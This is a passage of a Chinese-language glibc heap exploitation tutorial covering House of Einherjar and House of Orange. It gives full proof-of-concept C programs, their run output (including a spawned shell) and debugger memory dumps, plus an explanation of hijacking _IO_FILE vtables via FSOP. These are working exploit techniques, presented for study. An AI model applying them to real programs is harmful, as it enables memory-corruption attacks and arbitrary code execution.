#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;

int main() {
    uint8_t *a, *b, *d;

    a = (uint8_t*) malloc(0x10);
    int real_a_size = malloc_usable_size(a);
    memset(a, &apos;A&apos;, real_a_size);
    fprintf(stderr, &quot;We allocate 0x10 bytes for &apos;a&apos;: %p\n\n&quot;, a);

    size_t fake_chunk[6];
    fake_chunk[0] = 0x80;
    fake_chunk[1] = 0x80;
    fake_chunk[2] = (size_t) fake_chunk;
    fake_chunk[3] = (size_t) fake_chunk;
    fake_chunk[4] = (size_t) fake_chunk;
    fake_chunk[5] = (size_t) fake_chunk;
    fprintf(stderr, &quot;Our fake chunk at %p looks like:\n&quot;, fake_chunk);
    fprintf(stderr, &quot;prev_size: %#lx\n&quot;, fake_chunk[0]);
    fprintf(stderr, &quot;size: %#lx\n&quot;, fake_chunk[1]);
    fprintf(stderr, &quot;fwd: %#lx\n&quot;, fake_chunk[2]);
    fprintf(stderr, &quot;bck: %#lx\n&quot;, fake_chunk[3]);
    fprintf(stderr, &quot;fwd_nextsize: %#lx\n&quot;, fake_chunk[4]);
    fprintf(stderr, &quot;bck_nextsize: %#lx\n\n&quot;, fake_chunk[5]);

    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);
    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
    fprintf(stderr, &quot;We allocate 0xf8 bytes for &apos;b&apos;: %p\n&quot;, b);
    fprintf(stderr, &quot;b.size: %#lx\n&quot;, *b_size_ptr);
    fprintf(stderr, &quot;We overflow &apos;a&apos; with a single null byte into the metadata of &apos;b&apos;\n&quot;);
    a[real_a_size] = 0;
    fprintf(stderr, &quot;b.size: %#lx\n\n&quot;, *b_size_ptr);

    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    *(size_t*)&amp;amp;a[real_a_size-sizeof(size_t)] = fake_size;
    fprintf(stderr, &quot;We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n&quot;, sizeof(size_t));
    fprintf(stderr, &quot;Our fake prev_size will be %p - %p = %#lx\n\n&quot;, b-sizeof(size_t)*2, fake_chunk, fake_size);

    fake_chunk[1] = fake_size;
    fprintf(stderr, &quot;Modify fake chunk&apos;s size to reflect b&apos;s new prev_size\n&quot;);

    fprintf(stderr, &quot;Now we free b and this will consolidate with our fake chunk\n&quot;);
    free(b);
    fprintf(stderr, &quot;Our fake chunk size is now %#lx (b.size + fake_prev_size)\n&quot;, fake_chunk[1]);

    d = malloc(0x10);
    memset(d, &apos;A&apos;, 0x10);
    fprintf(stderr, &quot;\nNow we can call malloc() and it will begin in our fake chunk: %p\n&quot;, d);
}

$ gcc -g house_of_einherjar.c
$ ./a.out
We allocate 0x10 bytes for &apos;a&apos;: 0xb31010

Our fake chunk at 0x7ffdb337b7f0 looks like:
prev_size: 0x80
size: 0x80
fwd: 0x7ffdb337b7f0
bck: 0x7ffdb337b7f0
fwd_nextsize: 0x7ffdb337b7f0
bck_nextsize: 0x7ffdb337b7f0

We allocate 0xf8 bytes for &apos;b&apos;: 0xb31030
b.size: 0x101
We overflow &apos;a&apos; with a single null byte into the metadata of &apos;b&apos;
b.size: 0x100

We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830

Modify fake chunk&apos;s size to reflect b&apos;s new prev_size
Now we free b and this will consolidate with our fake chunk
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)

Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞，覆盖掉 next chunk 的 size 字段并清除 &lt;code&gt;PREV_IN_USE&lt;/code&gt; 标志，然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时，它会发现前一个 chunk 被标记为空闲状态，然后尝试合并堆块。只要我们精心构造一个 fake chunk，让合并后的堆块范围到 fake chunk 处，那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ，更加强大，但是要求的条件也更多一点，比如一个堆信息泄漏。&lt;/p&gt;
&lt;p&gt;首先分配一个假设存在 off_by_one 溢出的 chunk a，然后在栈上创建我们的 fake chunk，chunk 大小随意，只要是 small chunk 就可以了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/8gx a-0x10
0x603000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk a
0x603010:    0x4141414141414141    0x4141414141414141
0x603020:    0x4141414141414141    0x0000000000020fe1  &amp;lt;-- top chunk
0x603030:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx &amp;amp;fake_chunk
0x7fffffffdcb0:    0x0000000000000080    0x0000000000000080  &amp;lt;-- fake chunk
0x7fffffffdcc0:    0x00007fffffffdcb0    0x00007fffffffdcb0
0x7fffffffdcd0:    0x00007fffffffdcb0    0x00007fffffffdcb0
0x7fffffffdce0:    0x00007fffffffddd0    0xffa7b97358729300
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来创建 chunk b，并利用 chunk a 的溢出将 size 字段覆盖掉，清除了 &lt;code&gt;PREV_INUSE&lt;/code&gt; 标志，chunk b 就会以为前一个 chunk 是一个 free chunk 了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/8gx a-0x10
0x603000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk a
0x603010:    0x4141414141414141    0x4141414141414141
0x603020:    0x4141414141414141    0x0000000000000100  &amp;lt;-- chunk b
0x603030:    0x0000000000000000    0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原本 chunk b 的 size 字段应该为 0x101，在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的，覆盖后只影响了标志位，没有影响到大小。&lt;/p&gt;
&lt;p&gt;接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址，同时为了绕过检查，还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/8gx a-0x10
0x603000:    0x0000000000000000    0x0000000000000021  &amp;lt;-- chunk a
0x603010:    0x4141414141414141    0x4141414141414141
0x603020:    0xffff800000605370    0x0000000000000100  &amp;lt;-- chunk b &amp;lt;-- prev_size
0x603030:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx &amp;amp;fake_chunk
0x7fffffffdcb0:    0x0000000000000080    0xffff800000605370  &amp;lt;-- fake chunk &amp;lt;-- size
0x7fffffffdcc0:    0x00007fffffffdcb0    0x00007fffffffdcb0
0x7fffffffdcd0:    0x00007fffffffdcb0    0x00007fffffffdcb0
0x7fffffffdce0:    0x00007fffffffddd0    0xadeb3936608e0600
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;释放 chunk b，这时因为 &lt;code&gt;PREV_INUSE&lt;/code&gt; 为零，unlink 会根据 prev_size 去寻找上一个 free chunk，并将它和当前 chunk 合并。从 arena 里可以看到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  heap arenas
Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后当我们再次 malloc，其返回的地址将是 fake chunk 的地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/8gx &amp;amp;fake_chunk
0x7fffffffdcb0:    0x0000000000000080    0x0000000000000021  &amp;lt;-- chunk d
0x7fffffffdcc0:    0x4141414141414141    0x4141414141414141
0x7fffffffdcd0:    0x00007fffffffdcb0    0xffff800000626331
0x7fffffffdce0:    0x00007fffffffddd0    0xbdf40e22ccf46c00
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;house_of_orange&lt;/h3&gt;
&lt;p&gt;House of Orange 的利用可以分为三个主要阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;修改 Top Chunk 大小，触发 &lt;code&gt;sysmalloc&lt;/code&gt; 中的 &lt;code&gt;_int_free&lt;/code&gt;，强行将 Top Chunk 放入 Unsorted Bin（实现无 &lt;code&gt;free&lt;/code&gt; 释放）。&lt;/li&gt;
&lt;li&gt;利用被释放到 Unsorted Bin 的 chunk，修改其bk指针，修改 libc 中的全局变量 &lt;code&gt;_IO_list_all&lt;/code&gt; 指针。&lt;/li&gt;
&lt;li&gt;伪造 &lt;code&gt;_IO_FILE&lt;/code&gt; 结构体和虚表 (vtable)，通过触发 &lt;code&gt;malloc&lt;/code&gt; 报错引发 &lt;code&gt;abort&lt;/code&gt;，最终在 &lt;code&gt;_IO_flush_all_lockp&lt;/code&gt; 中劫持控制流。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int winner (char *ptr);

int main() {
    char *p1, *p2;
    size_t io_list_all, *top;

    p1 = malloc(0x400 - 0x10);

    top = (size_t *) ((char *) p1 + 0x400 - 0x10);
    top[1] = 0xc01;

    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;

    memcpy((char *) top, &quot;/bin/sh\x00&quot;, 8);

    top[1] = 0x61;

    _IO_FILE *fp = (_IO_FILE *) top;
    fp-&amp;gt;_mode = 0; // top+0xc0
    fp-&amp;gt;_IO_write_base = (char *) 2; // top+0x20
    fp-&amp;gt;_IO_write_ptr = (char *) 3; // top+0x28

    size_t *jump_table = &amp;amp;top[12]; // controlled memory
    jump_table[3] = (size_t) &amp;amp;winner;
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

    malloc(1);
    return 0;
}

int winner(char *ptr) {
    system(ptr);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g house_of_orange.c
$ ./a.out
*** Error in `./a.out&apos;: malloc(): memory corruption: 0x00007f3daece3520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184]
./a.out[0x4006cc]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830]
./a.out[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 919342                             /home/firmy/how2heap/a.out
00600000-00601000 r--p 00000000 08:01 919342                             /home/firmy/how2heap/a.out
00601000-00602000 rw-p 00001000 08:01 919342                             /home/firmy/how2heap/a.out
01e81000-01ec4000 rw-p 00000000 00:00 0                                  [heap]
7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0
7f3da8021000-7f3dac000000 ---p 00000000 00:00 0
7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912                     /lib/x86_64-linux-gnu/libc-2.23.so
7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912                     /lib/x86_64-linux-gnu/libc-2.23.so
7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912                     /lib/x86_64-linux-gnu/libc-2.23.so
7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912                     /lib/x86_64-linux-gnu/libc-2.23.so
7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0
7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908                     /lib/x86_64-linux-gnu/ld-2.23.so
7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0
7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0
7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908                     /lib/x86_64-linux-gnu/ld-2.23.so
7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908                     /lib/x86_64-linux-gnu/ld-2.23.so
7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0
7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0                          [stack]
7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0                          [vvar]
7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ whoami
firmy
$ exit
Aborted (core dumped)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;house of orange是在程序缺少free的时候通过top chunk的扩充机制制造修改后的chunk free进入unsorted bin，以此来泄露libc地址，同时通过unsorted bin attack来修改_IO_list_all指针，通过FSOP来getshell&lt;/p&gt;
&lt;p&gt;它要求能够泄漏堆和 libc。我们知道一开始的时候，整个堆都属于 top chunk，每次申请内存时，就从 top chunk 中划出请求大小的堆块返回给用户，于是 top chunk 就越来越小。&lt;/p&gt;
&lt;p&gt;当某一次 top chunk 的剩余大小已经不能够满足请求时，就会调用函数 &lt;code&gt;sysmalloc()&lt;/code&gt; 分配新内存，这时可能会发生两种情况，一种是直接扩充 top chunk，另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的，为了能够使用前一种扩展 top chunk，需要满足以下检查&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;大小不足&lt;/strong&gt;：伪造的大小必须小于用户请求的大小 + &lt;code&gt;MINSIZE&lt;/code&gt;。这里 &lt;code&gt;0xc01 &amp;lt; 0x1000&lt;/code&gt;，满足。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;页对齐&lt;/strong&gt;：&lt;code&gt;Old_Top + Old_Size&lt;/code&gt; 必须是页对齐的（通常是 4K 对齐）。&lt;/p&gt;
&lt;p&gt;原 Top 地址通常以 &lt;code&gt;x00&lt;/code&gt; 结尾，加上 &lt;code&gt;0xc00&lt;/code&gt; 依然对齐。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prev_inuse 位&lt;/strong&gt;：Size 的最低位必须为 1 (PREV_INUSE)，防止向前合并。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最小尺寸&lt;/strong&gt;：Size 必须大于 &lt;code&gt;MINSIZE&lt;/code&gt; (0x10)。&lt;/p&gt;
&lt;p&gt;首先分配一个大小为 0x400 的 chunk：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x400 (with flag bits: 0x401)

Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0x20c00 (with flag bits: 0x20c01)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认情况下，top chunk 大小为 0x21000，减去 0x400，所以此时的大小为 0x20c00，另外 PREV_INUSE 被设置。&lt;/p&gt;
&lt;p&gt;现在通过溢出漏洞，可以修改 top chunk 的数据，于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x400 (with flag bits: 0x401)

Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc00 (with flag bits: 0xc01)
    
pwndbg&amp;gt; x/20gx 0x602400
0x602400:       0x0000000000000000      0x0000000000000c01
0x602410:       0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;紧接着，申请一块大内存，此时由于修改后的 top chunk size 不能满足需求，则调用 sysmalloc 的第一种方法扩充 top chunk，结果是在 old_top 后面新建了一个 top chunk 用来存放 new_top，然后将 old_top 释放，即被添加到了 unsorted bin 中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x400 (with flag bits: 0x401)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x602400
Size: 0xbe0 (with flag bits: 0xbe1)
fd: 0x7ffff7bc4b78
bk: 0x7ffff7bc4b78

Allocated chunk
Addr: 0x602fe0
Size: 0x10 (with flag bits: 0x10)	&amp;lt;-- fencepost chunk 1

Allocated chunk | PREV_INUSE
Addr: 0x602ff0
Size: 0x10 (with flag bits: 0x11)	&amp;lt;-- fencepost chunk 2

Allocated chunk
Addr: 0x603000
Size: 0x00 (with flag bits: 0x00)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20，缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+---------------+
|       p1      |
+---------------+
|  old top-0x20 |
+---------------+
|  fencepost 1  |
+---------------+
|  fencepost 2  |
+---------------+
|      ...      |
+---------------+
|       p2      |
+---------------+
|    new top    |
+---------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针，可以推算出 &lt;code&gt;_IO_list_all&lt;/code&gt; 的地址。然后通过溢出将 old top 的 bk 改写为 &lt;code&gt;_IO_list_all-0x10&lt;/code&gt;，这样在进行 unsorted bin attack 时，就会将 &lt;code&gt;_IO_list_all&lt;/code&gt; 修改为 &lt;code&gt;&amp;amp;unsorted_bin-0x10&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;malloc前：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x602400
Size: 0x60 (with flag bits: 0x61)
fd: 0x7ffff7bc4b78
bk: 0x7ffff7bc5510

pwndbg&amp;gt; x/20gx 0x7ffff7bc5510
0x7ffff7bc5510: 0x0000000000000000      0x0000000000000000
0x7ffff7bc5520 &amp;lt;_IO_list_all&amp;gt;:  0x00007ffff7bc5540      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;malloc后：&lt;/p&gt;
&lt;p&gt;因为进行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bck = victim-&amp;gt;bk;
unsorted_chunks(av)-&amp;gt;bk = bck;
bck-&amp;gt;fd = unsorted_chunks(av);    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功修改_IO_list_all为main_arena+88&lt;/p&gt;
&lt;h4&gt;FSOP&lt;/h4&gt;
&lt;p&gt;FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构，称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建，并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。FILE结构体是包裹在_IO_FILE_plus中的，两个结构体定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it&apos;s too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进程中的FILE结构会通过_chain域彼此连接形成一个链表，链表头部用全局变量_IO_list_all表示，通过这个值可以遍历所有的FILE结构。包裹_IO_FILE结构的_IO_FILE_plus中，有一个重要的指针vtable，&lt;strong&gt;vtable指向了一系列处理_IO_FILE文件流的函数指针&lt;/strong&gt;(修改指针来控制程序流)。实际上所有针对_IO_FILE_的攻击都是通过修改或者伪造vtable中的函数指针来实现的，因为类似fopen，fread，fwrite，printf，exit，malloc_printerr等对文件流进行操作的函数，最终的函数调用路径都会指向_IO_FILE_plus.vtable上的函数指针。&lt;/p&gt;
&lt;p&gt;vtable指向的跳转表是一种兼容C++虚函数的实现。当程序对某个流进行操作的时候，会调用该流对应的跳转表中的某个函数，_IO_jump_t 结构体如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;house_of_orange.c中通过偏移来确定了io_list_all的值，即main_arena+88与io_list_all的偏移相差0x9a8字节。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;top在前面被定义为了old top chunk的地址，这里top[2]的值就是unsortedbin中fd指针的值。&lt;/p&gt;
&lt;p&gt;top[2]+0x9a8的地址处，就是全局变量_IO_list_all的地址，修改unsortedbin chunk的bk指针为_IO_list_all的值&lt;/p&gt;
&lt;p&gt;在本例中，最终实现攻击的大致思路如下：glibc中定义了打印内存报错信息的函数malloc_printerr，malloc_printerr中实际起作用的是__libc_message函数中定义了abort函数，abort函数在中止进程的时候，会调用_IO_flush_all_lockp遍历刷新所有的文件流，然后会调用_IO_FILE_plus.vtable中的_IO_OVERFLOW函数处理_IO_FILE结构体指针fp。我们在堆区伪造一个_IO_FILE_plus结构体，_IO_FILE_plus.vtable中_IO_OVERFLOW的函数指针修改为system函数地址，_IO_FILE结构体0字节偏移处改写为&quot;sh&quot;或者“/bin/sh”，这时候_IO_OVERFLOW(fp,EOF)就相当于调用system(&quot;/bin/sh&quot;)。&lt;/p&gt;
&lt;p&gt;malloc_printerr函数调用链和具体代码实现如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;malloc_printerr --&amp;gt; __libc_message --&amp;gt; abort --&amp;gt; _IO_flush_all_lockp --&amp;gt; _IO_OVERFLOW
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;malloc_printerr函数定义在malloc.c中，malloc_printerr中真正起作用的函数，是__libc_message，__libc_message函数被定义在libc_fatal.c中。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;一般在出现内存错误时，会调用函数 &lt;code&gt;malloc_printerr()&lt;/code&gt; 打印出错信息，我们顺着代码一直跟踪下去：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  [...]
  if ((action &amp;amp; 5) == 5)
    __libc_message (action &amp;amp; 2, &quot;%s\n&quot;, str);
  else if (action &amp;amp; 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = &apos;\0&apos;;
      char *cp = _itoa_word ((uintptr_t) ptr, &amp;amp;buf[sizeof (buf) - 1], 16, 0);
      while (cp &amp;gt; buf)
        *--cp = &apos;0&apos;;

      __libc_message (action &amp;amp; 2, &quot;*** Error in `%s&apos;: %s: 0x%s ***\n&quot;,
                      __libc_argv[0] ? : &quot;&amp;lt;unknown&amp;gt;&quot;, str, cp);
    }
  else if (action &amp;amp; 2)
    abort ();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;code&gt;__libc_message&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// sysdeps/posix/libc_fatal.c
/* Abort with an error message.  */
void
__libc_message (int do_abort, const char *fmt, ...)
{
  [...]
  if (do_abort)
    {
      BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;do_abort&lt;/code&gt; 调用 &lt;code&gt;fflush&lt;/code&gt;，即 &lt;code&gt;_IO_flush_all_lockp&lt;/code&gt;：abort()处理进程的时候，会调用_IO_flush_all_lockp遍历刷新所有的文件流，然后会调用_IO_FILE_plus.vtable中的_IO_overflow函数处理_IO_FILE结构体。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// stdlib/abort.c
#define fflush(s) _IO_flush_all_lockp (0)

  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// libio/genops.c
int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;   // 将其覆盖
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp; (fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr
				    &amp;gt; fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base))
#endif
	   )
	  &amp;amp;&amp;amp; _IO_OVERFLOW (fp, EOF) == EOF)     // 将其修改为 system 函数
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp-&amp;gt;_chain;    // 指向我们指定的区域
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试想一下，如果所有文件流中，有一个_IO_FILE结构体的0字节偏移处被改写为&quot;sh&quot;，将_IO_FILE_plus.vtable中的_IO_overflow函数指针改写为system函数的地址，这时候执行&lt;code&gt;_IO_OVERFLOW (fp, EOF) == EOF)==&amp;gt;system(&apos;/bin/sh\x00&apos;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;调用abort函数的三种情况，此时可以打FSOP：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;libc执行abort时&lt;/li&gt;
&lt;li&gt;执行exit函数&lt;/li&gt;
&lt;li&gt;main函数结束返回时&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们已经将_IO_list_all的值改写为main_arena+88，接下来是关键一步：将unsorted bin chunk的size修改为0x61&lt;/p&gt;
&lt;p&gt;此时我们进行malloc操作时，由于大小不满足unsorted bin的大小检查，所以会调用abort函数&lt;/p&gt;
&lt;p&gt;调用abort函数时会调用 &lt;code&gt;_IO_flush_all_lockp&lt;/code&gt; 函数，&lt;strong&gt;顺着 &lt;code&gt;_IO_list_all&lt;/code&gt; 链表，把所有打开的文件流都刷新（flush）一遍&lt;/strong&gt;&lt;/p&gt;
